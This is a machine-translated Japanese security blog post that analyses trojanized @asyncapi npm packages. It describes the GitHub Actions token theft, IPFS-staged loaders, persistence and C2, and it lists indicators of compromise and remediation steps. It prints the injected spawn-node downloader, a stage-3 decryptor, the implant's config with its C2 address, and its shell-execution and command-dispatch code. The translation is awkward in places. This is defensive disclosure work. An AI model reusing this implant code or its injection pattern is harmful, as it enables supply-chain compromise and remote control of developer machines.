Aikido

GitHub Actionsを介してAsyncAPIのnpmパッケージにバックドアが仕込まれた

執筆者
Raphael Silva

トロイの木馬化されたものを5つ特定しました @asyncapi 2026年7月14日に公開されたパッケージ。攻撃者は、ある脆弱性を悪用してnpm公開トークンを盗み出し、 pull_request_target AsyncAPIジェネレータ脆弱性 悪用し、4つのパッケージにまたがる通常の実行時モジュールに、難読化されたダウンローダーを注入しました。影響を受けるパッケージのいずれかをインポートすると、IPFSから暗号化されたNode.jsローダーが取得され、それがディスクに sync.js, そしてそれを独立したプロセスとして起動します。

このチェーンは、実際のリモートシェルを備えた永続的なインプラントで終了します。ペイロードのフレームワークは、自身を次のように識別します。 M-RED-TEAM v6.4 コード内のコメントに記載されています。コードには認証情報の収集および自己拡散機能が含まれていますが、このビルドでは無効化されています。これらの機能がなくとも、このシェルがあれば、オペレーターはデータの収集や任意のコマンドの実行を行うのに十分です。

これらのパッケージを合わせると、週間のダウンロード数はおよそ290万件に達しており、 @asyncapi/specs これだけで約270万人を占めている。

攻撃者がどのように公開権限を取得したのか

会社情報 asyncapi/generator リポジトリでは、a を使用しました GitHub Actions ワークフロー ~とともに pull_request_target トリガー。このトリガーは、ワークフローが外部のプルリクエストからコードをチェックアウトシークレット 、リポジトリのシークレット アクセスできる状態で実行されます。これはよく知られた落とし穴です。

ある貢献者が脆弱性 特定し脆弱性 5月17日に修正用のプルリクエスト(#2092)を作成しました。しかし、攻撃が発生した時点でも、それから約2か月が経過していたにもかかわらず、そのプルリクエストはまだマージされていませんでした。

7月14日05:08(UTC)に、攻撃者はジェネレータのリポジトリに対して37件のプルリクエストを送信しました。そのうちの1つは、 PR #2155, には、npmのパブリッシュトークンを rentry[.]co. ワークフローはUTC 05:16に完了した。トークンを入手した攻撃者は、悪意のあるコミットを 次へ UTC 06:58にブランチを作成し、UTC 07:10に最初の改ざんされたパッケージを公開しました。その後、彼らは次の段階へと移行し、 asyncapi/spec-json-schemas, 仕様書のバージョンを公開するために、UTC 07:51 から 08:28 の間に 11 件のコミットを行いました。

出典

この攻撃では、3つの重なり合う信号が使用されていますが、それらはすべて同じ場所を指しているわけではありません。

初期アクセス手法(特定の pull_request_target (rentry[.]co を利用したデッドドロップを用いたワークフロー)は、過去に同様の GitHub Actions 秘密情報窃取攻撃で確認された prt-scan キャンペーンのパターンと一致している。

このペイロード・フレームワークは、自身を次のように識別しています。 M-RED-TEAM v6.4 復元されたステージ3のソースコード全体にわたるコードコメントの中に。それが、このコードが自らに付けている最も直接的なラベルである。

アーティファクト名と設定には「Miasma」のブランド名が使用されています。ビルドターゲットは miasma-train-p1, ランタイムロックおよびIDパスは、以下の下に配置されています ~/.config/.miasma/, パーシステンス・アーティファクトの名称は ミアズマ・モニター、また、スポーン証明書は次の形式の文字列を使用しています miasma-spawn-cert-v1. これらは、 以前のMiasmaツールキット、とはいえ SafeDepの研究者は、ペイロードが異なると指摘した: 以前のビルドはBunをベースとし、RSA/AES-CBC、アクティブ伝播、および破壊型デッドマン機能を備えていましたが、今回のビルドはNodeをベースとし、secp256k1/AES-GCM、HTTP C2を採用し、それらの機能は無効化されています。

証拠からは、prt-scanによる最初のアクセスとM-RED-TEAMのペイロードが、単一のオペレーターによるものなのか、それとも別々の主体によるものなのかを判断することはできません。「Miasma」というブランド名は、コードの再利用、模倣、あるいは意図的な誤表示のいずれかを反映している可能性があります。ここでは、明確な帰属の特定は行っていません。

5つのランタイム・パッケージが第1段を担った

侵害されたリリース:

  • @asyncapi/specs@6.11.2
  • @asyncapi/specs@6.11.2-alpha.1
  • @asyncapi/generator@3.3.1
  • @asyncapi/generator-helpers@1.1.1
  • @asyncapi/generator-components@0.7.1

この悪意のあるコードは、npmのライフサイクルフック内にはありません。これは、通常の使用中に実行されるモジュール内に配置されていました。すなわち、 仕様 エントリポイント、a 発電機 バリデータ、ヘルパーユーティリティ、およびコンポーネントのエラー処理モジュール。ペイロードはモジュールの読み込み時に実行されるため、単純な require() それだけでトリガーされる。

In @asyncapi/specs, ダウンローダーは実際のスキーマのエクスポートファイルの先頭に追加されます:

import { spawn } from 'child_process';

// fs, path, https, os imported above

async function main() {
  try {
    const child = spawn(
      'node',
      [
        '-e',
        `/* obfuscated downloader, ~3 KB, elided */`,
      ],
      {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
      }
    );

    child.unref();
  } catch (error) {
    console.error(error.message);
  }
}

main();

module.exports = {
  schemas: {
    '2.0.0': require('./schemas/2.0.0.json'),
    // ...through 3.1.0
  },
};

このダウンローダーは、分離された子プロセスで実行されます。以下の呼び出しの後、 child.unref(), 親プロセスは直ちに終了し、ダウンロードはバックグラウンドで継続されます。

会社情報 node -e ペイロードは難読化されていますが、その文字列検索テーブルには、IPFSのURLとドロップファイル名が平文で含まれています:

// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']

specsブランチがCIDを取得する Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. ジェネレータ・ファミリーのブランチは、以下を取得します QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. 両者とも次のように書いている sync.js ユーザーごとの Node.js データディレクトリへ: ~/Library/Application Support/NodeJS macOSでは、 %LOCALAPPDATA%\NodeJS Windowsでは、 ~/.local/share/NodeJS Linux上で。

ステージ2:IPFSからの暗号化されたローダー

2つのIPFSオブジェクトは、難読化されたJavaScriptローダーです。サイズは、8,243,380バイト(specs)と8,254,481バイト(generator family)です。それぞれがHKDF-SHA256を用いてAES-256-GCMキーを導出し、埋め込まれたVaultを復号し、印刷可能なASCII文字の回転処理を元に戻し、その結果を評価します。 このロジックを、実行されない復号器として抽出しました:

const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
  'rt-vault-master-key-32b-aaaaaaaa',
  'utf8'
); // 32 bytes

function gcmDecrypt(buf, key) {
  const iv = buf.slice(0, 12);
  const tag = buf.slice(buf.length - 16);
  const ct = buf.slice(12, buf.length - 16);

  const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
  d.setAuthTag(tag);

  return Buffer.concat([d.update(ct), d.final()]);
}

// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
  'sha256',
  Buffer.from(_km, 'utf8'),
  Buffer.alloc(0),
  Buffer.from('rt-file-key', 'utf8'),
  32
);

const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');

// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;

const stage3 = [...rotSrc]
  .map((ch) => {
    const c = ch.charCodeAt(0);

    return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
      ? String.fromCharCode(
          ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
        )
      : ch;
  })
  .join('');

GCM認証タグは、両方のビルドで有効です。また、各ローダーには sourceBundle 同じ鍵で暗号化されたフィールドであり、復元されたステージ3ファイルとバイト単位で一致しています。ベイクされた設定では、 rt-baked-key そして、同じハードコードされたマスター。

復元されたステージ3のファイル2つ:

  • ビルド仕様:3,088,921 バイト、SHA-256 f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b
  • Generatorファミリーのビルド:3,093,085バイト、SHA-256 9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a

ジェネレータ・ファミリーによるビルドでは、動作上の違いが1つ追加されます。それは、フェイルオーバー後にプライマリC2を再確認し、復旧した際に元に戻すタイマーです。その他の違いとしては、生成される不要な宣言があります。

どちらのビルドにも、2つの証明書からなるsecp256k1のスパンチェーンが含まれています。どちらの署名も検証に成功しています。このチェーンは、このシードの実行を妨げることはありません。

誤解を招く設定フィールド

初期の報告では、設定フィールドの値に基づき、これを「セーフ・カナリア」と表現していました。私たちが復元した組み込み設定は以下の通りです:

{
  "config": {
    "safeMode": true,
    "c2Server": "http://85.137.53.71:8080",
    "shellBlacklist": ["killall"],
    "batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
  },
  "target": { "name": "miasma-train-p1", "ecosystem": "npm" },
  "actualPersist": false,
  "testMode": false,
  "toggles": {
    "recon": false,
    "persist": true,
    "propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
    "evasion": false,
    "metamorphic": false
  }
}

3つのフィールド値はいずれも、コールグラフ解析の下では成立しません:

  • safeMode: true: エントリポイントは設定を直接boot関数に渡すだけで、 safeMode バリデータ。
  • actualPersist: false: ブート関数は次のように読み込みます toggles.persist, ではなく actualPersist. toggles.persist です true. パーシステンスの実行。
  • canaryPercent: 5: その BatchDispatch このコマンドは実装されておらず、このフィールドを読み取る被害者選択パスも存在しません。したがって、何の効果もありません。

インプラントの働き

初回実行時、このペイロードは secp256k1 の鍵ペアを生成し、システムキャッシュファイルに偽装してプラットフォーム固有のパスに保存します。これを使用します ~/.config/.miasma/run/node.lock 重複するインスタンスを防ぐため。

プラットフォーム別の持続性:

  • macOS:に nohup ~へブロック .zshrc, .bashrc、または .bash_profile
  • Windows:HKCU に書き込みを行います 実行しますミアズマ・モニター
  • Linux: 書き込み ~/.config/systemd/user/miasma-monitor.service そしてそれを有効にします。その ExecStart シェルラッパーがないため、ユニットは起動に失敗する可能性が高いですが、ファイルは書き込まれています。

インプラントは、以下に向けて信号を送信する。 hxxp://85[.]137[.]53[.]71:8080 およそ30秒ごとに。ビーコンは、攻撃者の公開鍵で署名および暗号化されています。たとえ 偵察 無効化されているため、各ビーコンには、以下が一部伏せられたプレビューが含まれています。 PATH, ホーム, ユーザー、および ホスト名, そして、以下のディレクトリ下に Cursor、Claude、および VS Code の設定ファイルが存在するかどうかを確認します。 /app.

コマンドは通常、暗号化された封筒に入れて送信されます。暗号化されたバンドルが存在しない場合、ハンドラーは平文に切り替わります。 コマンド 配列:

async dispatchResponseCommands(resp) {
  let commands = [];

  if (
    this.commandCipher &&
    resp.encryptedCommands &&
    resp.encryptedCommands.length > 0
  ) {
    for (const env of resp.encryptedCommands) {
      try {
        commands.push(this.commandCipher.decryptCommand(env));
      } catch (e) {
        this.sinkError(e);
      }
    }
  } else {
    // plaintext fallback, active when cipher absent
    commands = resp.commands;
  }

  for (const cmd of commands) {
    await this.handler(cmd);
  }
}

C2はHTTPであるため、オンパス攻撃者はこのパスを通じてコマンドを注入することができます。

コマンド 11 (ShellExec) はリクエストを child_process.exec(). ブラックリストに登録されているコマンドは、 killall:

ShellExecutorImpl = class {
  constructor(cfg, runner) {
    this.blacklist = new Set(
      cfg.shellBlacklist
        .map(normalizeCmd)
        .filter((b) => b.length > 0)
    ); // shipped config: ["killall"]

    this.runner = runner ?? new ExecFileRunner();
  }

  async exec(req) {
    if (!this.isAllowed(req.command)) {
      return {
        exitCode: 126,
        stdout: '',
        stderr: '',
      }; // DENIED
    }

    // testMode is false in this seed, so the real shell runs
    return new Promise((resolve) => {
      import_node_child_process.exec(
        [req.command, ...req.args].join(' '),
        {
          cwd: req.cwd,
          timeout: timeoutMs,
          maxBuffer: 1 << 20,
          windowsHide: true,
        },
        (err, stdout, stderr) =>
          resolve({
            exitCode: err?.code ?? 0,
            stdout,
            stderr,
          })
      );
    });
  }
};

ファイルコマンド(list、get、put)は、ハードコードされた /sim-fs パス。delete コマンドは実装されていません。シェルにはそのような制限はありません。

ペイロードの更新は、新しいCIDを指定するオペレーターコマンド、あるいはNostrとEthereumを2分間隔でポーリングしてより新しいバージョンを確認するループの2つのソースから行われます。Nostrからの更新は署名検証が行われます。Ethereumの記録は、署名検証なしに受け入れられます(trustUnsignedBlockchain: true). 取得された更新データは、ランダム化された形式でディスクに書き込まれます。 .bin/.cache/.dat ファイルはNodeで起動され、現在のプロセスと置き換えることが許可された。

コードには含まれているが、有効になっていないもの

このバンドルには、クラウドの認証情報、パッケージマネージャーのトークン、SSH/GPGキー、シェル履歴、ブラウザ、CI/CD 、AI開発ツール、データベース、ウォレット、コンテナ、パスワードマネージャーなどを網羅した包括的な認証情報収集ツールが含まれています。収集を支援するために、GitleaksやHackBrowserDataをダウンロードすることも可能です。これらはすべて、以下の理由により実行されません。 toggles.recon は偽です。ハーベスターは何も収集する前に終了してしまいます。シェルでは、手動で同じ結果を得ることができます。

npm、PyPI、Cargo 向けの伝播ベクトルが用意され、実装されています。すべての伝播トグルは false に設定されており、唯一の trySpread() この呼び出しはパーシステントモードによって保護されており(このモードでは、呼び出しに到達する前に処理が終了する)、そして 伝播 このコマンドは実装されていません。スプレッドは発生しません。

ミューテーションエンジン、回避チェック、AIツールポイズニング、デッドマンスイッチはすべて無効化されています。ワイプの実装では、マーカーファイルが ~/Documents/SIMULATION_WIPE_TRIGGERED.txt 何かを削除するのではなく。

C2および関連インフラ

ポート8080上のHTTPが、唯一の真のビーコンおよびコマンドチャネルです。その他のプロトコルの役割はより限定的です:

  • Nostr:アドレスの更新、署名付きペイロード更新レコード、およびピアのマルチアドレスを配信します
  • イーサリアム:読み取り専用のサービスアドレスと更新レコードを提供する
  • IPFS:ペイロードオブジェクトや暗号化されたデータをホストする
  • libp2p / BitTorrent DHT / mDNS:ピアの検出とゴシップ通信;コマンドやビーコントラフィックは発生しない

このビルドでは、下位層のトランスポートにおけるいくつかの汎用的なアップロードおよびコマンドメソッドは、何もしない処理となっています。

侵害の痕跡

パッケージ

パッケージバージョンのSHA-256@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab

ネットワーク

  • C2: 85[.]137[.]53[.]71:8080, アップロード: :8081、プロキシ管理: :8091
  • RIPEブロック 85.137.53.0/24, オブジェクト VSYS-AMS, AS43641
  • イーサリアム契約 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, チェーンID 1
  • Nostrは次のように伝えている: wss://relay.damus.io, wss://relay.nostr.com/
  • DHTブートストラップ: router.bittorrent.com:6881, dht.transmissionbt.com:6881

Host

  • ドロップ: sync.js ユーザーごとの Node.js データディレクトリ内(上記のパス)
  • ロック: ~/.config/.miasma/run/node.lock
  • macOSの識別情報: ~/Library/Application Support/com.apple.spotlight/index-v2.cache
  • Linuxの識別情報: ~/.cache/mesa_shader_cache/gl_cache.bin
  • Windows ID: %HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat
  • Linuxの永続化: ~/.config/systemd/user/miasma-monitor.service
  • Windows の「ファイル名を指定して実行」の値: ミアズマ・モニター

暗号資産

  • 攻撃者の secp256k1 公開鍵: 0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e

これからどうすればいいでしょうか

以下に格下げ @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0、および @asyncapi/generator-components@0.7.0. マニフェスト、ロックファイル、キャッシュ、内部ミラー、およびビルドイメージから、5つの侵害されたバージョンを削除する。以下の条件に該当するシステムを特定する。 輸入された 影響を受けるのは、パッケージがインストールされていたシステムだけでなく、そのインプラントが動作する require().

疑わしいホストについては、まず揮発性状態を分離・保存する。上記に挙げた「ドロップ」「ロック」「識別」「永続化」の各経路、および異常な切り離されたNodeプロセスを検索する。C2ポートへの接続や、IPFS、Nostr、Ethereum RPC、DHT、mDNSと関連するNodeのアクティビティを確認する。

影響を受けた開発者用マシンやビルドホストで利用可能な認証情報は、シェルコマンドを介して漏洩した可能性があるものとして扱ってください。npmトークン、ソース管理へのアクセス権、クラウド認証情報、シークレット、SSHキー、署名用キー、およびブラウザセッションは、安全なマシンから更新してください。侵害されたホストは再構築してください。

会社情報 @asyncapi/specs@6.11.2-alpha.1 tarballは、レジストリのメタデータからは削除されていますが、直接URLからは依然としてダウンロード可能です。バックアップストレージおよびCDNから完全に削除する必要があります。

方法 Aikido これを検知する

もしあなたが Aikido をご利用の方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。侵害された5つのリリースすべてが、100/100の「重大」な問題として表示されます。まだアカウントをお持ちでない場合は、アカウントを作成してリポジトリを連携させてください。マルウェアの検知機能は無料プランに含まれており、クレジットカードは不要です。

Aikido Protection を使用すると 、ライブラリ、IDE プラグイン、依存関係など、チームのデバイスにインストールされているパッケージ全体を可視化できます Aikido Chain(オープンソース)は、既存のワークフローに組み込まれ、パッケージに対して Aikido Intelの基準に照らしてチェックを行います。

共有:

https://www.aikido.dev/blog/asyncapi-npm-packages-backdoored-via-github-actions

マルウェアの検査

無料で始める
4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。